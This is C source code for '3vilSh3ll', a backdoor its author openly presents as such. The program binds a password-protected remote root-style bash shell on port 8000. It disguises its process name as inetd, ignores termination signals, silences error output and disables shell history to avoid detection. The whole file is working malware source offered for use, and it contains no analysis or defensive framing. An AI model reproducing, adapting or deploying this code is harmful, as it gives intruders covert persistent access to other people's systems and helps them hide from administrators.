/*

		------------------------------------
		-	BACKDOOR BIND CONNECT	   -
		------------------------------------



	Author info :

		Code : Simpp
		Contact : somebody
		For : # Bad Digites Team #
		Link : http://www.magichack.powa.fr/board
		Why : Just for fun



	Programm's info :

		name :
			3vilSh3ll

		Compile :
			gcc -g -W -Wall -Wextra -o backdoor 3vilSh3ll.c


		client :
			Netcat


		description :
			Simple backdoor bind connect .
			change the name procecus for hide the command ps .
			ignore signal SIGTERM SIGINT SIGQUIT for don't stop the backdoor .
			redirect stderr in /dev/null for discret .
			create procecus child for execute the evil code .
			need passwd for connect backdoor .
			redirect bash history (HISTFILE) in /dev/null for the new shell .
			redirect stdout , stdin in socket client .

*/


/****     header     ****/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>


/****     config     ****/

#define HIDE "/usr/sbin/inetd"
#define PORT 8000
#define ACL "\n\tBind Banckdoor by Simpp\n\tFor : # Bad Digites Team #\n\nPasswd : "
#define MAGIC_OK "Passwd accpet connect ...\n"
#define MAGIC_NO "Passwd error connect failed ...\n"
#define MAGIC_KEY "hacked"
#define NULL_LOG "/dev/null"
#define VAR "HISTFILE=/dev/null"
#define CMD "/bin/bash"



/****     structure socket     ****/

typedef struct _socket_client_s {
	int socket_cli;
	struct sockaddr_in from;
	socklen_t fromlen;
} socket_client_t;


typedef struct _socket_server_s {
	int socket_serv;
	struct sockaddr_in addr;
} socket_server_t;



/****     prototype fonction socket server     ****/

int	socket_server_new(socket_server_t *server);
int	socket_server_bind(socket_server_t *server);
int	socket_server_listen(socket_server_t *server);
int	socket_server_accept_client(socket_server_t *server, socket_client_t *client);
void	socket_server_free(socket_server_t *server);



/****     prototype fonction socket client     ****/

int	socket_client_send(int socket_cli, const char *txt);
int	socket_client_recv(int socket_cli, char **buff);
int	socket_client_connect_dup2(int socket);
void	socket_client_free(socket_client_t *client);



/****      prototype fonction else ;)     ****/

void	hidden_process(char *argv[]);
void	ignore_signal(void);
void	clean_log(void);
int	redirect_bash_history(void);
int	child(void);
void	client_fonction(socket_server_t *server);
int	check_client(int socket_cli);
int	check_passwd(char *pass);



/****     main programm's     ****/

int main(int argc, char *argv[])
{
	(void) argc;
	(void) argv;

	pid_t pid;

	hidden_process(argv);
	clean_log();
	ignore_signal();


	pid = fork();
	if ( pid == -1 ) {
		printf("fork() failed\n");
		return EXIT_FAILURE;
	}	

	if ( pid )
		exit(0);

	if ( !pid ) {

		if ( child() == -1 )
			return EXIT_FAILURE;

	}


	return EXIT_SUCCESS;
}



/****     fonction socket server     ****/

int
socket_server_new(socket_server_t *server)
{
	server->socket_serv = socket(AF_INET, SOCK_STREAM, 0);

	if ( server->socket_serv == -1 )
		return -1;


	server->addr.sin_family = AF_INET;
	server->addr.sin_port = htons(PORT);
	server->addr.sin_addr.s_addr = INADDR_ANY;

	return 0;
}


int
socket_server_bind(socket_server_t *server)
{
	int ret;

	ret = bind(server->socket_serv, (struct sockaddr *)&server->addr, sizeof(server->addr));

	if ( ret == -1 )
		return -1;

	return 0;
}


int
socket_server_listen(socket_server_t *server)
{
	int ret;

	ret = listen(server->socket_serv, 10000);

	if ( ret == -1 )
		return -1;

	return 0;
}


int
socket_server_accept_client(socket_server_t *server, socket_client_t *client)
{
	client->fromlen = sizeof(struct sockaddr);

	client->socket_cli = accept(server->socket_serv, (struct sockaddr *)&client->from, &client->fromlen);

	if ( client->socket_cli == -1 ) 
		return -1;

	return 0;
}


void
socket_server_free(socket_server_t *server)
{
	if ( server != NULL ) {

		if ( server->socket_serv != -1 )
			close(server->socket_serv);

		free(server);
		server = NULL;
	}
}

/*************************************************************/



/****     fonction socket client     ****/

int
socket_client_send(int socket_cli, const char *txt)
{
	int ret;

	ret = write(socket_cli, txt , strlen(txt));

	if ( ret == -1 )
		return -1;

	return 0;
}


int
socket_client_recv(int socket_cli, char **buff)
{
	int ret;

	memset(*buff, 0, 50);

	ret = read(socket_cli, *buff, 50);

	if ( ret == -1 )
		return -1;

	return 0;
}


int
socket_client_connect_dup2(int socket)
{
	int ret1, ret2;

	close(0);
	close(1);
	ret1 = dup2(socket, 0);
	ret2 = dup2(socket, 1);

	if ( ret1 == -1 || ret2 == -1 )
		return -1;

	return 0;
} 


void
socket_client_free(socket_client_t *client)
{
	if ( client != NULL ) {

		if ( client->socket_cli != -1 )
			close(client->socket_cli);

		free(client);
		client = NULL;
	}
}

/*************************************************************/



/****     fonction else     ****/

void
hidden_process(char *argv[])
{
	strcpy(argv[0], HIDE);
}


void
clean_log(void)
{
	int log;

	close(2);
	close(3);

	log = open(NULL_LOG, O_WRONLY);

	dup2(log, 2);
	dup2(log, 3);

	close(log);

}

void
ignore_signal(void)
{
	signal(SIGQUIT, SIG_IGN);
	signal(SIGTERM, SIG_IGN);
	signal(SIGINT, SIG_IGN);
}


int
redirect_bash_history(void)
{

	if ( putenv(VAR) == -1 )
		return -1;

	return 0;
}


int
child(void)
{
	socket_server_t *server = malloc(sizeof(socket_server_t));

	if ( server == NULL ) {
		printf("malloc *server failed\n");
		return -1;
	}


	if ( socket_server_new(server) == -1 ) {
		printf("create new socket server failed\n");
		return -1;
	}


	if ( socket_server_bind(server) == -1 ) {
		printf("socket server bind failed\n");
		return -1;
	}


	if ( socket_server_listen(server) == -1 ) {
		printf("socket sever listen failed\n");
		return -1;
	}


	if ( redirect_bash_history() == -1 )
		printf("redirect HISTFILE on /dev/null failed\n");


	while ( 1 ) {

		client_fonction(server);

	}

	socket_server_free(server);
}


void
client_fonction(socket_server_t *server)
{

	socket_client_t *client = malloc(sizeof(socket_client_t));

	if ( client == NULL )
		return;

	if ( socket_server_accept_client(server, client) != -1 ) {

		if ( check_client(client->socket_cli) != -1 ) {

			if ( socket_client_connect_dup2(client->socket_cli) != -1 ) {

				system(CMD);

			}

		}
	}


	socket_client_free(client);
}


int
check_client(int socket_cli)
{
	char *passwd = malloc(50 * sizeof(char));

	if ( passwd == NULL )
		return -1;


	if ( socket_client_send(socket_cli, ACL) == -1 )
		return -1;


	if ( socket_client_recv(socket_cli, &passwd) == -1 )
		return -1;


	if ( check_passwd(passwd) == -1 ) {

		if ( socket_client_send(socket_cli, MAGIC_NO) == -1 )
			return -1;

		return -1;
	}


	else {

		if ( socket_client_send(socket_cli, MAGIC_OK) == -1 )
			return -1;
	}


	free(passwd);
	passwd = NULL;

	return 0;
}


int
check_passwd(char *pass)
{
	char *buff = NULL;

	buff = strtok(pass, "\n");

	if ( !strcmp(MAGIC_KEY, buff) )
		return 0;

	else
		return -1;

}

/*************************************************************/


/*####################### END #######################*/
